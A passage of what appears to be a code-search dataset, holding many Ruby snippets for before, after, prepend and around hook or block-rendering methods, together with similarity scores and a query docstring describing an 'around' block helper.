"def append_before(*args, &proc)\n scope, options = scope_and_options(*args)\n example_group = ExampleGroupFactory.get(\n get_type_from_options(options)\n )\n example_group.append_before(scope, &proc)\n end",
"def prepended(base = nil, &block)\n if base.nil?\n if instance_variable_defined?(:@_prepended_block)\n if @_prepended_block.source_location != block.source_location\n raise MultiplePrependBlocks\n end\n else\n @_prepended_block = block\n end\n else\n super\n end\n end",
"def before_hooks\n options[:before]\n end",
"def before(action = nil, options = Hash.new, &block)\n self.before_filters[action || block] = options\n end",
"def before_proc(&block)\n @before_proc = block\n end",
"def before(identifier, &block)\n be_callable!(identifier) unless identifier.is_a?(Symbol)\n be_callable!(block)\n synchronize do\n if applied?\n raise Error::ApplyError,\n \"Hooks have already been applied to stack\"\n end\n @before_entries = before_entries +\n [Entry.new(identifier: identifier,\n action: Action.new(stack: stack, callable: block))]\n @before_entries.freeze\n end\n self\n end",
"def before_include( *contexts, & block )\n \n add_execution_context( *contexts )\n add_hook_context( :before_include )\n action( & block ) if block_given?\n \n return self\n \n end",
"def prepend(*args, &blk)\n steps.unshift make(*args, &blk)\n nil\n end",
"def before(action = :scenario, opts = nil, &block)\n raise ArgumentError.new \"Unknown hook: #{action}\" unless hooks[action]\n\n hooks[action].append :before, Hook.new(opts, &block)\n end",
"def before(observation, &block)\n build_methods(:before, observation, &block)\n end",
"def before(period = :each, &block)\n unless block_given?\n block = period\n period = :each\n end\n\n send(\"before_#{period}_callbacks\") << block\n end",
"def before_include_or_extend( *contexts, & block )\n\n return frame_definer.before_include_or_extend( *contexts, & block )\n\n end",
"def before_include( *contexts, & block )\n \n return frame_definer.before_include( *contexts, & block )\n \n end",
"def before_include_or_extend( & block )\n \n add_hook_context( :before_include )\n add_hook_context( :before_extend )\n action( & block ) if block_given?\n \n return self\n \n end",
"def before_inclusion(&block)\n if block && block.respond_to?(:call)\n before_inclusion_procs << block\n else\n raise 'Anything added to be called before_inclusion must be callable (respond to #call).'\n end\n end",
"def insert_before(index, *args, **_arg2, &block); end",
"def before_extend( *contexts, & block )\n \n return frame_definer.before_extend( *contexts, & block )\n \n end",
"def before(str = nil, &blk)\n each { |x| x.parent.insert_before x.make(str, &blk), x }\n end",
"def prepend(&block)\n be_callable!(block)\n synchronize do\n if applied?\n raise Error::ApplyError,\n \"Hooks have already been applied to stack\"\n end\n @prepend_entries = prepend_entries +\n [Action.new(stack: stack, callable: block)]\n @prepend_entries.freeze\n end\n self\n end",
"def before_extend( *contexts, & block )\n \n add_execution_context( *contexts )\n add_hook_context( :before_extend )\n action( & block ) if block_given?\n \n return self\n \n end",
"def before(action, &block)\n before_actions[action] = block if block_given?\n end",
"def begin_block(name, opts)\n @block_name_stack << name\n @block_opts_stack << opts\n @block_break_type_stack << \"entry-break\"\n end",
"def before_column(options={},&block)\n new_dynamic_callback(:before_column,options,&block)\n end",
"def before(&proc)\n @before = proc if proc\n @before\n end",
"def before_tests(&block)\n @before_tests_proc = block\n end",
"def prepend_before(*args, &proc)\n add_callback(:prepend_before, *args, &proc)\n end",
"def prepend(name, content = nil, &block)\n content = capture(&block) if block_given?\n add_instruction_to_area name, :unshift, content\n end",
"def before(complete = T.unsafe(nil), index = T.unsafe(nil), &block); end",
"def before method_or_filter, options={}, &block\n _add_filter(:before, method_or_filter, options, block)\n end",
"def setup_blocks\n @setup_blocks ||= []\n end",
"def before(*args, &block)\n add_filter :before, &(args.empty? ? block : construct_filter(*args, &block))\n end",
"def prepend(&block)\n prepare([], routes, &block)\n end",
"def before *a, &b; valid_in_context Event; define_hook :before, *a, &b; end",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n single_block.concat(words)\n end",
"def before(*actions, &block)\n before_action = Moonrope::BeforeAction.new(@controller)\n before_action.block = block\n before_action.actions = actions\n @controller.befores << before_action\n before_action\n end",
"def before(identifier, &block)\n Chef::Sugar::Filters::Injector.new(self, identifier, :before).evaluate(&block)\n end",
"def blocks(options = {}, &block)\n block_objects(options.merge(object: :blocks), block)\n end",
"def before_subshell(&block)\n @before_subshell_block = block\n end",
"def process_options(&block)\n self.option_processors ||= []\n option_processors << block\n self\n end",
"def before name, &block\n self.__local_before_command_sets << Task.new(:name => name, :callback => true, &block)\n end",
"def add_options(&block)\n if options\n old_options = options\n self.options = proc do\n instance_exec(&old_options)\n instance_exec(&block)\n end\n else\n self.options = block\n end\n self\n end",
"def before *actions, &proc\n if proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @before[a] = proc }\n end\n @before\n end",
"def apply_start_block_option_overrides(options)\n @requested_args.each { |option_name, option_value| options.update(option_name, option_value, add_missing: false) }\n end",
"def pre_command_hook(&block)\n @rye_pre_command_hook = block if block\n @rye_pre_command_hook\n end",
"def before_report &block\n (@before_handlers ||= []) << block\n end",
"def before(*matches, &procedure)\n @_testcase.advice[:before][matches] = procedure\n end",
"def before_block_boundary?; end",
"def start_new_block_element(attrs)\n @current_block = {\n formatting_spans: [],\n paragraph_classes: [],\n }.merge(attrs)\n @block_elements << @current_block\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block block\n block.at self.length\n @blocks << block\n end",
"def before(refname)\n yield if block_given?\n call(refname)\n end",
"def add_header_tags(options={})\n @header_tags ||= []\n if options.has_key? :partial\n type = :partial\n hook = options[:partial]\n elsif options.has_key? :text\n type = :text\n hook = options[:text]\n elsif options.has_key? :proc\n type = :proc\n hook = options[:proc]\n elsif block_given?\n type = :proc\n hook = Proc.new # takes the value of the passed block\n else\n raise \"error: add_header_tags missing a block, partial, or text!\"\n end\n\n @header_tags << {\n type: type,\n hook: hook\n }\n end",
"def to_prepare_blocks; end",
"def start_new_block\n if (@block_buffer)\n add_block(@block_buffer)\n @block_buffer = nil\n end\n end",
"def append_before(*args, &proc)\n add_callback(:append_before, *args, &proc)\n end",
"def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end",
"def before_process(callback = nil, &block)\n if block_given?\n @before_process_callbacks << block\n else\n @before_process_callbacks << callback if callback.respond_to?(:call)\n end\n end",
"def pre_init(&block)\n @hooks[:pre_init] = block\n end",
"def before_fork(&block)\r\n @before_fork = block\r\n end",
"def process_blocks(blocks); end",
"def before_request(&block)\n @before_request = block if block\n @before_request || proc { |a| a }\n end",
"def before_examples(examples)\n @multiline = []\n end",
"def prepare &block\n @preparator = block\n end",
"def call_before(scenario)\n @before.each { |block| block.call(scenario) }\n end",
"def initialize *opts, &blk\n super()\n\n @advised = [ ]\n @advised_for = { }\n\n opts_hash = Hash === opts[-1] ? opts.pop : { }\n opts_key = opts.shift\n @options = opts_hash\n\n @before = (opts_key == :before ? blk : opts_hash[:before]) ||\n NULL_PROC\n @after = (opts_key == :after ? blk : opts_hash[:after]) ||\n NULL_PROC\n @around = (opts_key == :around ? blk : opts_hash[:around]) ||\n NULL_AROUND_PROC\n\n @blk = blk\n end",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n @single_block += words\n end",
"def before_send(&block)\n @before_send = block if block_given?\n @before_send\n end"
] |
[
"0.7220903",
"0.71276605",
"0.6682045",
"0.6654923",
"0.6637286",
"0.6603937",
"0.6568894",
"0.64873666",
"0.64247715",
"0.6413482",
"0.6413482",
"0.6394118",
"0.6378209",
"0.6295552",
"0.62211317",
"0.6186277",
"0.60403633",
"0.5953866",
"0.5946286",
"0.5883547",
"0.58593214",
"0.58553666",
"0.5837139",
"0.5816347",
"0.58075017",
"0.5782808",
"0.5750299",
"0.57464105",
"0.5736336",
"0.5701349",
"0.5654111",
"0.56499857",
"0.55812556",
"0.5566726",
"0.55640864",
"0.55625254",
"0.55374694",
"0.5522121",
"0.55142534",
"0.55062556",
"0.54967326",
"0.548124",
"0.5481112",
"0.54680437",
"0.5437346",
"0.5429209",
"0.54281664",
"0.5423236",
"0.5406951",
"0.53947777",
"0.539417",
"0.5393395",
"0.5389011",
"0.53812176",
"0.5354858",
"0.53511304",
"0.53196603",
"0.5315348",
"0.53146434",
"0.5312504",
"0.5301464",
"0.52995753",
"0.5296673",
"0.5289222",
"0.5285354",
"0.52753305",
"0.5267044",
"0.52576876",
"0.52544117",
"0.5249389",
"0.52308404",
"0.52230996",
"0.52185255",
"0.52173585",
"0.52100474",
"0.52097744",
"0.5206215",
"0.5176008",
"0.5175992",
"0.517136",
"0.516973",
"0.516973",
"0.51595837",
"0.51595205",
"0.51315784",
"0.51292324",
"0.51119053",
"0.5105325",
"0.5099725",
"0.5097899",
"0.5095116",
"0.5093534",
"0.5085062",
"0.50779366",
"0.50445324",
"0.5038569",
"0.5033843",
"0.50154865",
"0.5011745",
"0.4999274"
] |
0.7241095
|
0
|
Add a block to render after another block. This after block will be put into an array so that multiple after blocks may be queued. They will render in the order in which they are declared when the "blocksrender" method is called. Any options specified to the after block will override any options specified in the block definition. 1, :option2 => 2 do |options| %> Step 2 (:option1 => , :option2 => ) 3 do Step 3 (:option1 => , :option2 => ) 4 do Step 4 (:option1 => , :option2 => ) 1, :option2 => 2) Step 3 (:option1 => 3, :option2 => 2) Step 4 (:option1 => 1, :option2 => 4) >
|
def after(name, options={}, &block)
self.add_block_container_to_list("after_#{name.to_s}", options, &block)
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after(&block)\n @blocks << block\n end",
"def render_after_blocks(name_or_container, *args)\n render_before_or_after_blocks(name_or_container, \"after\", *args)\n end",
"def after_each(&block)\n @after_each_blocks << block\n end",
"def after(&block)\n @after << block\n end",
"def after(&block)\n if !block_given? || block.arity != 1\n raise InvalidBlockSpecification, \"after proc should have an arity of 1 (~ActiveRecord: record)\"\n end \n @options[:after] = block\n end",
"def after_configure(&block)\n @after_configure_blocks ||= []\n @after_configure_blocks << block\n end",
"def after(name, &block)\n validate_step_name(name)\n after_steps[name] ||= EMPTY_ARRAY.dup\n after_steps[name] << block.to_proc\n self\n end",
"def after(name, &block)\n after_steps[name] ||= EMPTY_ARRAY.dup\n after_steps[name] << Step.new(type: :after, name: name, executor: block)\n self\n end",
"def after(&block)\n if block_given?\n @temp_block = block\n end\n self\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n define_before_or_after_method_with_block(:after, &block)\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(type=:each, &block)\n raise ArgumentError, \"invalid after-type #{type}\" unless [:each, :all].include?(type)\n type_method = \"after_#{type}\"\n remove_method(type_method) rescue nil #if method_defined?(:teardown)\n define_method(type_method, &block)\n end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def after_render(&block)\n @after_render_block = block\n end",
"def after(event, &block)\n triggers[:after][event] << block\n self\n end",
"def after(stack_name, &block)\n @@stacks[:after][stack_name.to_sym] << block\n end",
"def after(*args, &block)\n after_callbacks.concat(args)\n after_callbacks << block if block\n end",
"def after(*command, &block)\n command.flatten!\n blk = block\n\n if command.last.is_a?(Hash)\n if block_given?\n extra_cfg = command.pop\n else\n # We were given a hash rather than a block,\n # so the last element should be the \"config block\"\n # and the rest are commands for the trigger\n blk = command.pop\n end\n elsif !block_given?\n raise Vagrant::Errors::TriggersNoBlockGiven,\n command: command\n end\n\n command.each do |cmd|\n trigger = create_trigger(cmd, blk, extra_cfg)\n @_after_triggers << trigger\n end\n end",
"def after_configuration(&block)\n @after_configuration << block\n end",
"def after(&block)\n handle(1, &block)\n end",
"def after_block_boundary?; end",
"def after_column(options={},&block)\n new_dynamic_callback(:after_column,options,&block)\n end",
"def after_global_configure(&block)\n @after_global_configure_blocks ||= []\n @after_global_configure_blocks << block\n end",
"def coolio_after(scope = :each, &block)\n raise ArgumentError, \"coolio_after only supports :each scope\" unless :each == scope\n evented_spec_hooks_for(:coolio_after).unshift block\n end",
"def after method_or_filter, options={}, &block\n _add_filter(:after, method_or_filter, options, block)\n end",
"def after(*method_symbols, &block)\n options = method_symbols[-1].kind_of?(Hash) ? method_symbols.pop : {}\n method_symbols.each do |method_sym|\n __composed_methods__[method_sym].after.push(__unbound_method__(block, options[:name]))\n __rebuild_method__(method_sym)\n end\n end",
"def after(&block)\n rules.add('@document:after', Sawtooth::Rules::CallRule.new(:finish => block)) if block_given?\n end",
"def post_block\n end",
"def post_block\n end",
"def after(action, &block)\n @hooks ||= {}\n @hooks[\"after_#{action}\".to_sym] = block\n end",
"def after_run(&block)\n @after_run_block = block\n end",
"def add_block block\n block.at self.length\n @blocks << block\n end",
"def add_options(&block)\n if options\n old_options = options\n self.options = proc do\n instance_exec(&old_options)\n instance_exec(&block)\n end\n else\n self.options = block\n end\n self\n end",
"def blocks(options = {}, &block)\n block_objects(options.merge(object: :blocks), block)\n end",
"def after_crawl(&block)\n @after_crawl_blocks << block\n self\n end",
"def after_crawl(&block)\n @after_crawl_blocks << block\n self\n end",
"def append_after(*args, &proc)\n scope, options = scope_and_options(*args)\n example_group = ExampleGroupFactory.get(\n get_type_from_options(options)\n )\n example_group.append_after(scope, &proc)\n end",
"def add_callback(&block)\n @blocks << block\n end",
"def after_initializers(&block)\n after_blocks << block\n end",
"def after(identifier, &block)\n be_callable!(identifier) unless identifier.is_a?(Symbol)\n be_callable!(block)\n synchronize do\n if applied?\n raise Error::ApplyError,\n \"Hooks have already been applied to stack\"\n end\n @after_entries = after_entries +\n [Entry.new(identifier: identifier,\n action: Action.new(stack: stack, callable: block))]\n @after_entries.freeze\n end\n self\n end",
"def around(name, options={}, &block)\n self.add_block_container_to_list(\"around_#{name.to_s}\", options, &block)\n nil\n end",
"def after(method_to_hook, method_to_call = nil, options = {}, &block)\n add(:after, method_to_hook, method_to_call, options, &block)\n end",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n single_block.concat(words)\n end",
"def after_hooks\n options[:after]\n end",
"def after_wait(&block)\n @after_wait_block = block\n end",
"def after_extend( *contexts, & block )\n\n return frame_definer.after_extend( *contexts, & block )\n\n end",
"def after_scenario(*steps, &block)\n after_scenario_steps.append(*steps) unless steps.empty?\n after_scenario_steps.append(block) if block_given?\n end",
"def do_after_crawl_blocks\n @after_crawl_blocks.each { |block| block.call(@pages) }\n end",
"def after_extend( *contexts, & block )\n\n add_execution_context( *contexts )\n add_hook_context( :after_extend )\n action( & block ) if block_given?\n \n return self\n\n end",
"def custom_out(&block)\n raise StandardError, 'custom_out requires a block argument' unless block_given?\n\n @blocks << block\n end",
"def after_configure(&block)\n mod = self\n config.class.set_callback(:configure, :after,\n proc { mod.instance_eval(&block) })\n end",
"def block(options)\n [\n %[snippet #{options[:name]} \"#{options[:desc]}\"],\n options[:snip],\n \"endsnippet\"\n ].join(\"\\n\")\n end",
"def do_after_crawl_blocks\n @after_crawl_blocks.each {|b| b.call(@pages)}\n end",
"def block\n options.fetch(:block)\n end",
"def after(str = nil, &blk)\n each { |x| x.parent.insert_after x.make(str, &blk), x }\n end",
"def after_bundle(&block)\n @after_bundle_callbacks << block\n end",
"def after(period = :each, &block)\n unless block_given?\n block = period\n period = :each\n end\n\n send(\"after_#{period}_callbacks\") << block\n end",
"def after_load(&block)\n @_after_load ||= []\n @_after_load << block if block_given?\n @_after_load\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n @single_block += words\n end",
"def after_include_or_extend( *contexts, & block )\n\n return frame_definer.after_include_or_extend( *contexts, & block )\n\n end",
"def after(&after)\n @after = after\n end",
"def process_options(&block)\n self.option_processors ||= []\n option_processors << block\n self\n end",
"def after_include_or_extend( & block )\n\n add_hook_context( :after_include )\n add_hook_context( :after_extend )\n action( & block ) if block_given?\n \n return self\n\n end",
"def block_append_children(options = {})\n throw ArgumentError.new('Required arguments :block_id missing') if options[:block_id].nil?\n patch(\"blocks/#{options[:block_id]}/children\", options.except(:block_id))\n end",
"def after(delay_sec, &block)\n raise \"Missing implementation 'after'\"\n end",
"def after_request(&block)\n @after_request << block\n end",
"def add_multi_block(block)\n\t\t\t@encoded << block\n\tend",
"def add(&block)\n @block_args << block\n end",
"def after(which=:each, *tags, &procedure)\n @_hooks.add(:after, which, *tags, &procedure)\n end",
"def finish_after_block( event_marker=nil, &block )\n\t\tblock.call( self )\n\trescue Exception => err\n\t\tself.add( err )\n\t\traise\n\tensure\n\t\tself.finish( event_marker )\n\tend",
"def after(*args, &block)\n add_filter :after, &(args.empty? ? block : construct_filter(*args, &block))\n end",
"def blocks() end",
"def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end",
"def after_parse(&block)\n after_parse_callbacks.push(block)\n end",
"def blocks; end",
"def blocks; end",
"def blocks; end",
"def after name, &block\n self.__local_after_command_sets << Task.new(:name => name, :callback => true, &block)\n end",
"def order_blocks\n group = params[:group]\n @user = User.current\n if group.is_a?(String)\n group_items = (params[\"blocks\"] || []).collect(&:underscore)\n group_items.each {|s| s.sub!(/^block_/, '')}\n if group_items and group_items.is_a? Array\n layout = @user.pref[:my_page_layout] || {}\n # remove group blocks if they are presents in other groups\n %w(top left right).each {|f|\n layout[f] = (layout[f] || []) - group_items\n }\n layout[group] = group_items\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n end\n render :nothing => true\n end",
"def order_blocks\n group = params[:group]\n @user = User.current\n if group.is_a?(String)\n group_items = (params[\"blocks\"] || []).collect(&:underscore)\n group_items.each {|s| s.sub!(/^block_/, '')}\n if group_items and group_items.is_a? Array\n layout = @user.pref[:my_page_layout] || {}\n # remove group blocks if they are presents in other groups\n %w(top left right).each {|f|\n layout[f] = (layout[f] || []) - group_items\n }\n layout[group] = group_items\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n end\n render :nothing => true\n end",
"def amqp_after(scope = :each, &block)\n raise ArgumentError, \"amqp_after only supports :each scope\" unless :each == scope\n evented_spec_hooks_for(:amqp_after).unshift block\n end",
"def completed_after(ms)\n raise \"Cannot redefine completion block\" if @complete_block\n @complete_block = Proc.new do\n time = ms\n time = rand(3.seconds) if ms == :random_period\n @timer_name = \"completed_after_#{Time.now.to_i}\"\n after(time, :name => @timer_name, :persistent => true) { complete_run }\n end\n end",
"def post_command_hook(&block)\n @rye_post_command_hook = block if block\n @rye_post_command_hook\n end",
"def process_blocks(blocks); end",
"def after_include( *contexts, & block )\n\n return frame_definer.after_include( *contexts, & block )\n\n end",
"def after(delay, &block)\n DelayedExecution.after(delay, &block)\n end",
"def post_execute(&block)\n @hooks[:post_execute] = block\n end",
"def order_blocks\n group = params[:group]\n @user = User.current\n if group.is_a?(String)\n group_items = (params[\"blocks\"] || []).collect(&:underscore)\n group_items.each {|s| s.sub!(/^block_/, '')}\n # remove group blocks if they are presents in other groups\n group_items.each {|s| @user.pref.remove_block(s)}\n @user.pref.my_page_layout[group] = group_items\n @user.pref.save\n end\n head 200\n end",
"def content_tag_with_block(name, content_or_options_with_block=nil,options={})\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content_tag_without_block(name, yield, options)\n else\n content_tag_without_block(name, content_or_options_with_block, options)\n end\n end",
"def append_after(*args, &proc)\n add_callback(:append_after, *args, &proc)\n end",
"def after(&proc)\n @after = proc if proc\n @after\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def extend_block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] += value\n return self._template.blocks[name]\n end"
] |
[
"0.7319272",
"0.6946847",
"0.6595663",
"0.65939915",
"0.6538661",
"0.6490435",
"0.6461255",
"0.6358121",
"0.6338884",
"0.6295388",
"0.6295388",
"0.62704086",
"0.62017024",
"0.62017024",
"0.62017024",
"0.62017024",
"0.6073884",
"0.60102373",
"0.6002562",
"0.5883354",
"0.5866356",
"0.5850891",
"0.5772757",
"0.5764603",
"0.5759858",
"0.57502806",
"0.5707871",
"0.5658263",
"0.5649156",
"0.56182647",
"0.56086385",
"0.5601842",
"0.55808043",
"0.55808043",
"0.5562089",
"0.5558573",
"0.55550295",
"0.5546248",
"0.5545257",
"0.5525724",
"0.5525724",
"0.5479977",
"0.5474204",
"0.5473236",
"0.54584485",
"0.5438193",
"0.54356676",
"0.54224753",
"0.5417388",
"0.5413933",
"0.5397077",
"0.5377684",
"0.5371509",
"0.53641135",
"0.5357766",
"0.53433585",
"0.53342193",
"0.53320843",
"0.533133",
"0.5318695",
"0.53030574",
"0.5302952",
"0.53002685",
"0.5291325",
"0.5237692",
"0.5237245",
"0.5230093",
"0.52151495",
"0.52141124",
"0.5213933",
"0.52109694",
"0.520826",
"0.5207776",
"0.5203555",
"0.51912755",
"0.5182641",
"0.5180998",
"0.5165936",
"0.51555747",
"0.51509446",
"0.515022",
"0.515022",
"0.515022",
"0.5146027",
"0.51366556",
"0.51366556",
"0.5132292",
"0.51314306",
"0.51243603",
"0.5121265",
"0.5101912",
"0.50932103",
"0.509067",
"0.50859743",
"0.5085875",
"0.50660014",
"0.5065326",
"0.5064939",
"0.5064939",
"0.50602764"
] |
0.7211461
|
1
|
Add a block to render around another block. This around block will be put into an array so that multiple around blocks may be queued. They will render in the order in which they are declared when the "blocksrender" method is called, with the last declared around block being rendered as the outermost code, and the first declared around block rendered as the innermost code. Any options specified to the after block will override any options specified in the block definition. The user of an around block must declare a block with at least one parameter and should invoke the call method on that argument. test test Options: [+name+] The name of the block to render this code around when that block is rendered [+options+] Any options to specify to the around block when it renders. These will override any options specified when the block was defined. [+block+] The block of code to render after another block
|
def around(name, options={}, &block)
self.add_block_container_to_list("around_#{name.to_s}", options, &block)
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after(&block)\n @blocks << block\n end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def after(name, options={}, &block)\n self.add_block_container_to_list(\"after_#{name.to_s}\", options, &block)\n nil\n end",
"def render_after_blocks(name_or_container, *args)\n render_before_or_after_blocks(name_or_container, \"after\", *args)\n end",
"def add_block block\n block.at self.length\n @blocks << block\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def blocks(options = {}, &block)\n block_objects(options.merge(object: :blocks), block)\n end",
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def render_block(name_or_container, *args, &block)\n buffer = ActiveSupport::SafeBuffer.new\n\n name, block_render_options = extract_block_name_and_options(name_or_container)\n\n block_definition_options = {}\n if blocks[name]\n block_container = blocks[name]\n block_definition_options = block_container.options\n end\n\n options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)\n\n if blocks[name]\n block_container = blocks[name]\n args.push(options)\n buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)\n elsif options[:use_partials] && !options[:skip_partials]\n begin\n begin\n buffer << view.render(\"#{name.to_s}\", options)\n rescue ActionView::MissingTemplate, ArgumentError\n buffer << view.render(\"#{options[:partials_folder]}/#{name.to_s}\", options)\n end\n rescue ActionView::MissingTemplate, ArgumentError\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n else\n args.push(global_options.merge(options))\n buffer << view.capture(*(args[0, block.arity]), &block) if block_given?\n end\n\n buffer\n end",
"def <<(block)\n blocks << block\n end",
"def add(name, &block)\n blocks[name.to_sym] = block\n end",
"def block\n (@blocks ||= Array.new) << Block.new\n @in_block = @blocks.last\n yield\n @in_block = nil\n end",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def add(&block)\n @block_args << block\n end",
"def block(name, &block)\n klass = SuperbTextConstructor.block(name, &block)\n @blocks << klass\n klass\n end",
"def replace(name, options={}, &block)\n blocks[name] = nil\n self.define_block_container(name, options, &block)\n nil\n end",
"def test2(block)\n puts \"hello\"\n block.call # calls the block that was originally passed to test()\n puts \"good-bye\"\nend",
"def test(&block)\n puts \"inside test -- calling block\"\n block.call\n puts \"inside test -- after calling block\"\n yield\nend",
"def define_block_container(*args, &block)\n block_container = self.build_block_container(*args, &block)\n blocks[block_container.name] = block_container if blocks[block_container.name].nil? && block_given?\n block_container\n end",
"def add_block_container_to_list(*args, &block)\n block_container = self.build_block_container(*args, &block)\n if blocks[block_container.name].nil?\n blocks[block_container.name] = [block_container]\n else\n blocks[block_container.name] << block_container\n end\n end",
"def add_callback(&block)\n @blocks << block\n end",
"def add_block(article_block)\n self.blocks << article_block\n end",
"def run(test, &block)\n #hooks[:before].each do |match, block|\n # next if Symbol == match\n # if test.match?(match)\n # scope.instance_exec(test, &block) #block.call(unit)\n # end\n #end\n\n block.call\n\n #hooks[:after].each do |match, block|\n # next if Symbol == match\n # if test.match?(match)\n # scope.instance_exec(test, &block) #block.call(unit)\n # end\n #end\n end",
"def run(name=:main, options={}, &block)\n name = name.to_sym\n if !run_blocks.key? name\n options[:name] = name\n self.run_blocks[name] = [options, block]\n else\n raise NameError.new(\"Run block named #{name} already exists!\")\n end\n end",
"def after(&block)\n if block_given?\n @temp_block = block\n end\n self\n end",
"def extend_block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] += value\n return self._template.blocks[name]\n end",
"def process_blocks(blocks); end",
"def build_block_container(*args, &block)\n options = args.extract_options!\n\n anonymous = false\n if args.first\n name = args.shift\n else\n name = self.anonymous_block_name\n anonymous = true\n end\n\n block_container = Blocks::Container.new\n block_container.name = name.to_sym\n block_container.options = options\n block_container.block = block\n block_container.anonymous = anonymous\n block_container\n end",
"def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end",
"def block_definition(block_node)\n buff_code \"__blocks['#{block_node.name}'] = __create_block('#{block_node.name}', #{location_node(block_node)}) do\"\n\n code_indent do\n visit_node_children(block_node)\n end\n\n buff_code 'end'\n end",
"def add_block_callback(hook_name, handle, block)\n case block.arity\n when -1, 0\n hooks[hook_name].add_internal_callback(handle, &block)\n else\n add_external_callback(hook_name, handle, block)\n end\n end",
"def block(name=\"block\", &proc)\n gen = self.class.new(@library, @module, @function, @function.add_block(name))\n gen.instance_eval(&proc)\n return gen\n end",
"def after_each(&block)\n @after_each_blocks << block\n end",
